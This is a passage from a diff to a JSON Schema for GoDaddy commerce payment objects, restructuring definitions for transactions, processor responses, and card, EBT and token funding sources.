"urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" }, - "properties": { - "processorType": { - "type": "string" - } + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true }, - "required": [ - "processorType" - ] + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - "readOnly": true, - "description": "Captures for the payment" - }, - "sales": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" + "title": "Card VerificationData", + "type": "object" + }, + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, - "required": [ - "amount", - "currency" - ] + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", "type": "string", - "maxLength": 256 + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } + "title": "Card VerificationData", + "type": "object" + }, + "eVoucherApprovalCode": { + "type": "string" + }, + "eVoucherSerial": { + "type": "string" + } + }, + "required": [ + "cardDetail", + "cardType" + ], + "title": "EBT Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - 